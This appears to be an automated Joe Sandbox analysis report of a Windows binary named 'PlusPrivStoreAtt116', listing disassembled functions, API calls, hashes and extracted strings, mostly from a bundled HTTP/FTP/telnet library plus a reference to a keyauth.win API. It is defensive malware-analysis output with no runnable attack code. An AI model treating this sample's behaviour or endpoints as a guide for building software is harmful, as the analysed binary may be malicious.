Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1294909896-2312071747
Opcode ID: b331923ff8b24726b111a90d0b4457969673eeb4b601481a3a6101cd046fd545
Instruction ID: 8bde08ce9fe14d0cae9178d98045bec192f187f8514e641fda6f8fcc6c407646
Opcode Fuzzy Hash: b331923ff8b24726b111a90d0b4457969673eeb4b601481a3a6101cd046fd545
Instruction Fuzzy Hash: 5CD19172E0C68296EF64DB2295503BA6A54BF457ACF640631DE6E836C3EFECF4458301

Function 00007FF6029AA7B2 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

Part of subcall function 00007FF6029A6320: memcpy.VCRUNTIME140 ref: 00007FF6029A6496

Part of subcall function 00007FF6029A1FC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2131

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA861
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA88F
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA89D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA8D7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA934
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA9ED
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AAA1B
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AAA29
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAA63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAAB4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAAFE

Strings

value, xrefs: 00007FF6029AA7D0, 00007FF6029AA959

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy
String ID: value
API String ID: 3212548336-494360628
Opcode ID: 3a6df990b5da4fd9237ac89baa1238f9e86b9bdc232acfe0d6c5be0c13518a52
Instruction ID: 9c8cb01900b09e4844805b60c07a1b5d4ce1b607e83dff7fbf23d667cfae3568
Opcode Fuzzy Hash: 3a6df990b5da4fd9237ac89baa1238f9e86b9bdc232acfe0d6c5be0c13518a52
Instruction Fuzzy Hash: 01A17262E18B8586FB00CB69E4843AD2761EF417A8F605335EA6D53ADADFBCD085C740

Function 00007FF6029BA920 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 161fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA98D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA9AD
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BA9E1
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BAA02
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BAA25
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BAA36
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BAA58
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BAB0F
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BAB24

Strings

Set-Cookie:, xrefs: 00007FF6029BAA96
ignoring failed cookie_init for %s, xrefs: 00007FF6029BAA62
none, xrefs: 00007FF6029BA9A2

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: fclosefree$__acrt_iob_func_strdupcallocfopenmalloc
String ID: Set-Cookie:$ignoring failed cookie_init for %s$none
API String ID: 4109794434-4095489131
Opcode ID: d97109d670ad7d893187d57730e2f018c256a9d765fb8c2d3200c8787d6c2d81
Instruction ID: 8bce48f1068fb56178758268d051b338d7060379b515a1e4ee0735125dad609b
Opcode Fuzzy Hash: d97109d670ad7d893187d57730e2f018c256a9d765fb8c2d3200c8787d6c2d81
Instruction Fuzzy Hash: 0761C421A0C79281EB569B2296543BA3F95FF46B8CF684435DE8D87782DFBCE405D310

Function 00007FF6029F5240 Relevance: 19.8, APIs: 8, Strings: 5, Instructions: 266COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F52B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F52D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F52F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F52FF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F5386
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F53D5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F5436
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F55BC

Strings

HTTP, xrefs: 00007FF6029F5240
Negotiate, xrefs: 00007FF6029F5244, 00007FF6029F534C, 00007FF6029F53F3
CompleteAuthToken failed: %s, xrefs: 00007FF6029F5617
InitializeSecurityContext failed: %s, xrefs: 00007FF6029F55DA
SPNEGO handshake failure (empty challenge message), xrefs: 00007FF6029F5486

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc$malloc
String ID: CompleteAuthToken failed: %s$HTTP$InitializeSecurityContext failed: %s$Negotiate$SPNEGO handshake failure (empty challenge message)
API String ID: 3103867982-1477229593
Opcode ID: 9abc1dd8dd0e32e615b50650f2bfac574f46aaa96820c5a7c7ab5d149deeb8e1
Instruction ID: 477a52ad8b838460516c3e89da72d066ddccb80967ca09648e1e244f44e122be
Opcode Fuzzy Hash: 9abc1dd8dd0e32e615b50650f2bfac574f46aaa96820c5a7c7ab5d149deeb8e1
Instruction Fuzzy Hash: B6C14A72A04B5286EB90CF66E4502AE3BA4FF44B9CF610036EE4D87B59DFB8D845C740

Function 00007FF6029EA630 Relevance: 19.7, APIs: 4, Strings: 9, Instructions: 151stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF6029EA69B
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EA7C5

Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6067
Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6073

strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EA77F

Part of subcall function 00007FF6029B5FA0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B5FB0

Strings

%127[^= ]%*[ =]%255s, xrefs: 00007FF6029EA740
XDISPLOC, xrefs: 00007FF6029EA79B
BINARY, xrefs: 00007FF6029EA86E
USER,%s, xrefs: 00007FF6029EA6C0
TTYPE, xrefs: 00007FF6029EA755
Syntax error in telnet option: %s, xrefs: 00007FF6029EA8D6
Unknown telnet option %s, xrefs: 00007FF6029EA8BD
%hu%*[xX]%hu, xrefs: 00007FF6029EA849
NEW_ENV, xrefs: 00007FF6029EA7E1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freestrncpy$_strdupmemset
String ID: %127[^= ]%*[ =]%255s$%hu%*[xX]%hu$BINARY$NEW_ENV$Syntax error in telnet option: %s$TTYPE$USER,%s$Unknown telnet option %s$XDISPLOC
API String ID: 3826632026-748038847
Opcode ID: d2f07001c2f69f4ee10fc8dac9839346342ada0b1b8db9734aab457d2f6b462d
Instruction ID: db3d8f8e8465d1e2efd4a8f6e9db9e9bef82861205631924987ae183a25c6eb6
Opcode Fuzzy Hash: d2f07001c2f69f4ee10fc8dac9839346342ada0b1b8db9734aab457d2f6b462d
Instruction Fuzzy Hash: DF717E32A08AC694FB21DF16D4517E92B61FF8479CFA44132DA4C872A6EFBCD546C780

Function 00007FF6029ED730 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 222networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32 ref: 00007FF6029ED8A3
sendto.WS2_32 ref: 00007FF6029ED95C
WSAGetLastError.WS2_32 ref: 00007FF6029ED96A

Strings

Timeout waiting for block %d ACK. Retries = %d, xrefs: 00007FF6029ED79D
tftp_tx: giving up waiting for block %d ack, xrefs: 00007FF6029ED914
Received ACK for block %d, expecting %d, xrefs: 00007FF6029ED8F5
tftp_tx: internal error, event: %i, xrefs: 00007FF6029ED788

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 4042023021-4197595102
Opcode ID: c6839c84e6b9a63ec9843bc45f807c9d82cf459fa3db2870afdf0a6d5b62c1db
Instruction ID: 4418df629a05d134f0ba125bfdf2bb5663124e38045c4e0f2a63e7d0a694df14
Opcode Fuzzy Hash: c6839c84e6b9a63ec9843bc45f807c9d82cf459fa3db2870afdf0a6d5b62c1db
Instruction Fuzzy Hash: AAB17D72608A82C6EB618F2AD4443A93BA4FF88F8CF644136DE4D8B759EF78D445C750

Function 00007FF6029EB160 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 180networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF6029EB35C
WSAGetLastError.WS2_32 ref: 00007FF6029EB36E
send.WS2_32 ref: 00007FF6029EB466
WSAGetLastError.WS2_32 ref: 00007FF6029EB470

Strings

%127[^,],%127s, xrefs: 00007FF6029EB2C8
%c%c%c%c%s%c%c, xrefs: 00007FF6029EB43F
%c%c, xrefs: 00007FF6029EB338
%c%s%c%s, xrefs: 00007FF6029EB300
#, xrefs: 00007FF6029EB3DE
%c%c%c%c, xrefs: 00007FF6029EB23D
Sending data failed (%d), xrefs: 00007FF6029EB374, 00007FF6029EB476

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastsend
String ID: #$%127[^,],%127s$%c%c$%c%c%c%c$%c%c%c%c%s%c%c$%c%s%c%s$Sending data failed (%d)
API String ID: 1802528911-931584821
Opcode ID: d56252f6b80ea051241c5109bd59262046ebf78b474f7167e0eae9e28f2b2d3a
Instruction ID: b38b76ce2fcf58704a3bd2d0038c18a54588ce714080e12d0b5eccf4a70ff3d2
Opcode Fuzzy Hash: d56252f6b80ea051241c5109bd59262046ebf78b474f7167e0eae9e28f2b2d3a
Instruction Fuzzy Hash: C591AB32A08AC285F7218F15E4557EA67A1FF847ACF540231EE4C47A96EF7DD245C740

Function 00007FF6029C4700 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C473D
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C47BF
strchr.VCRUNTIME140 ref: 00007FF6029C483E
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029C486C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C488D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C489F

Strings

No valid port number in connect to host string (%s), xrefs: 00007FF6029C48CB
Please URL encode %% as %%25, see RFC 6874., xrefs: 00007FF6029C47C9
Invalid IPv6 address format, xrefs: 00007FF6029C4827
%25, xrefs: 00007FF6029C47B5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$freestrchrstrncmpstrtol
String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
API String ID: 2070079882-2404041592
Opcode ID: 0d3683d8005d69ee5ffb3116067f3daafc3a7abd7e6190d03c1856025e8e0299
Instruction ID: 3051bec0aa7213283b1da829d5fbc968206dce8f715aa915f9e45cc2c2c5cac1
Opcode Fuzzy Hash: 0d3683d8005d69ee5ffb3116067f3daafc3a7abd7e6190d03c1856025e8e0299
Instruction Fuzzy Hash: 5B51B021F0CAD646FB658B2698703792FD1AF45F9CF785431DE4D86286EEACE4858700

Function 00007FF6029BA710 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA74E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA76E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BA7A0
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BA7BD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA7DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA7EC
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BA80C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6029B4960), ref: 00007FF6029BA8BF
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6029B4960), ref: 00007FF6029BA8D5

Strings

Set-Cookie:, xrefs: 00007FF6029BA846
none, xrefs: 00007FF6029BA763

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: fclosefree$__acrt_iob_func_strdupcallocfopenmalloc
String ID: Set-Cookie:$none
API String ID: 4109794434-3629594122
Opcode ID: 913f7715d8d12d44a7185297608bd26f8fbfa3b0ccd1ff80d61ee16f17f028ee
Instruction ID: 25a53481bff229d4584502581a4a3d8328f9853d5d746ad3fc21993d7c8f04c4
Opcode Fuzzy Hash: 913f7715d8d12d44a7185297608bd26f8fbfa3b0ccd1ff80d61ee16f17f028ee
Instruction Fuzzy Hash: 6151A731E0D78281FF569B23665027A6E90BF55B88F684434DE8E87B92DFBCE446C340

Function 00007FF6029CC2E0 Relevance: 18.2, APIs: 2, Strings: 10, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029CC676

Strings

Moving trailers state machine from initialized to sending., xrefs: 00007FF6029CC321
operation aborted by trailing headers callback, xrefs: 00007FF6029CC46D
Unable to allocate trailing headers buffer !, xrefs: 00007FF6029CC353
operation aborted by callback, xrefs: 00007FF6029CC44D
Signaling end of chunked upload after trailers., xrefs: 00007FF6029CC6C0
%zx%s, xrefs: 00007FF6029CC597
read function returned funny value, xrefs: 00007FF6029CC51B
Signaling end of chunked upload via terminating chunk., xrefs: 00007FF6029CC60A
Read callback asked for PAUSE when not supported!, xrefs: 00007FF6029CC4D9
Successfully compiled trailers., xrefs: 00007FF6029CC3BA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy
String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$Unable to allocate trailing headers buffer !$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 3510742995-1652449680
Opcode ID: 4771c451f9aa9f06f84511dd60e3dffbe4946d72cc0a08215ffcad3856c162cd
Instruction ID: db637eed1483833f7ec15c8287e751088b1121002a22c9f5d1e58e3ea548d9a3
Opcode Fuzzy Hash: 4771c451f9aa9f06f84511dd60e3dffbe4946d72cc0a08215ffcad3856c162cd
Instruction Fuzzy Hash: 63A15132A08A8281EB50DF22D9503B92F55EF85F9CF785532DE5D8B686DEBCE4458310

Function 00007FF6029DE2F0 Relevance: 18.2, APIs: 4, Strings: 8, Instructions: 207COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DE420
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DE436
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DE499

Strings

SELECT %s, xrefs: 00007FF6029DE485
Cannot APPEND with unknown input file size, xrefs: 00007FF6029DE597
Cannot SELECT without a mailbox., xrefs: 00007FF6029DE44F
Mime-Version: 1.0, xrefs: 00007FF6029DE541
Mime-Version, xrefs: 00007FF6029DE526
Cannot APPEND without a mailbox., xrefs: 00007FF6029DE4C4
APPEND %s (\Seen) {%I64d}, xrefs: 00007FF6029DE5CD
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_, xrefs: 00007FF6029DE308

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_$APPEND %s (\Seen) {%I64d}$Cannot APPEND with unknown input file size$Cannot APPEND without a mailbox.$Cannot SELECT without a mailbox.$Mime-Version$Mime-Version: 1.0$SELECT %s
API String ID: 1294909896-3146291949
Opcode ID: 8eba24e530ea5caf0d5228b31d68a2a44e2efc3ce809489f896ec9afce8c4c99
Instruction ID: 8299dbdc7c1d80558b1d48d42dd1fdb3c1cd45aa709b4760f1910bc1861d3b2f
Opcode Fuzzy Hash: 8eba24e530ea5caf0d5228b31d68a2a44e2efc3ce809489f896ec9afce8c4c99
Instruction Fuzzy Hash: 6C918035B0CB4286FB659B22959037D6A90EF45B8CF644435DB9DCB683EFACF4409340

Function 00007FF6029CC6E0 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 162COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CC75A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029CC775
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029CC7F2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CC87C

Strings

Issue another request to this URL: '%s', xrefs: 00007FF6029CC887
GET, xrefs: 00007FF6029CC8EE
HEAD, xrefs: 00007FF6029CC8E7
Switch to %s, xrefs: 00007FF6029CC907
Maximum (%ld) redirects followed, xrefs: 00007FF6029CC847
Switch from POST to GET, xrefs: 00007FF6029CC946

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch to %s
API String ID: 1865132094-1312055526
Opcode ID: 0c5a8c626145ccd31312ed3adb36d6ec9ea656c920a47348e4de85ad5a28c5a4
Instruction ID: ab9cfa694bf70a5009aa691cba4bedbb724e8b04b63edd522fe7aaae6ad63cbf
Opcode Fuzzy Hash: 0c5a8c626145ccd31312ed3adb36d6ec9ea656c920a47348e4de85ad5a28c5a4
Instruction Fuzzy Hash: 60718462A0C68385E7648B26D4403BD2EA1EF85F9CF380936DE4DC769ADFBDD4818351

Function 00007FF6029C1880 Relevance: 17.6, APIs: 14, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C18FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C191A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C192E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C194A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1967
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C198A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C199E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19B2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19D8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C19EC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A00
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A4F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A5C
